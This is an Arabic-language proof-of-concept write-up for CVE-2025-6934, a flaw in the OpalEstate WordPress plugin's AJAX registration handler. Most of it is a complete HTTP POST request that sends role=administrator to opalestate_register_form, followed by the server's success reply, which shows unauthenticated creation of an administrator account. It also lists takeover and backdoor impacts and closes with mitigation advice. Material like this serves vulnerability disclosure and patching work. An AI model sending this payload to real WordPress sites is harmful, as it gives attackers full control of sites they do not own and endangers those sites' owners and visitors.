
CVE-2025-6934 POC
إضافة OpalEstate لـ WordPress تحتوي على ثغرة حرجة في معالج التسجيل عبر AJAX، مما يسمح للمستخدمين غير المصادَق عليهم بالتسجيل كمسؤولين.
تكمن المشكلة في التعامل غير الآمن مع معامل role في إجراء AJAX الخاص بـ opalestate_register_form، وهو إجراء مكشوف للعامة عبر admin-ajax.php. يمكن للمهاجم الذي يمتلك nonce صالحًا تصعيد الامتيازات بمجرد إرسال حقل role=administrator، مما يؤدي إلى اختراق كامل للموقع.
معرف CVE: CVE-2025-6934 درجة CVSS: 9.8 (حرجة) تاريخ النشر: 30 يونيو 2025
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 231 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/wordpress/?page_id=16 Accept-Encoding: gzip, deflate, br Cookie: wp-settings-time-1=1750938057; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; kawuda_cookie=1751024383267404614; PHPSESSID=rsbi6r8gs523c35v319f1jf4tt Connection: keep-alive
username=mrjtest&email=mrjtest%40gmail.com&password=123&password1=123&role=administrator&confirmed_register=on&opalestate-register-nonce=db20fa048c&_wp_http_referer=%2Fwordpress%2F%3Fpage_id%3D16&ajax=1&action=opalestate_register_form
HTTP/1.1 200 OK Date: Wed, 02 Jul 2025 14:19:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Pragma: no-cache Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8
{"status":true,"redirect":"/wordpress/?page_id=16"}
السيطرة الكاملة على موقع WordPress إنشاء حساب مسؤول بدون مصادقة وصول مستمر عبر باب خلفي احتمالية تسلسل الامتيازات واستغلال الإضافات/القوالب
🛡️ التخفيف
إزالة أو تنظيف معامل role من المدخلات التي يتحكم فيها المستخدم.
فرض تعيين الدور من جانب الخادم (مثل: مشترك فقط).
استخدام wp_insert_user() أو wp_create_user() مع أدوار مقفلة.
التحقق من صلاحيات المستخدم قبل معالجة الإجراءات الحساسة.
تحديث الإضافة أو تعطيل التسجيل عبر AJAX إذا لم يكن ضروريًا.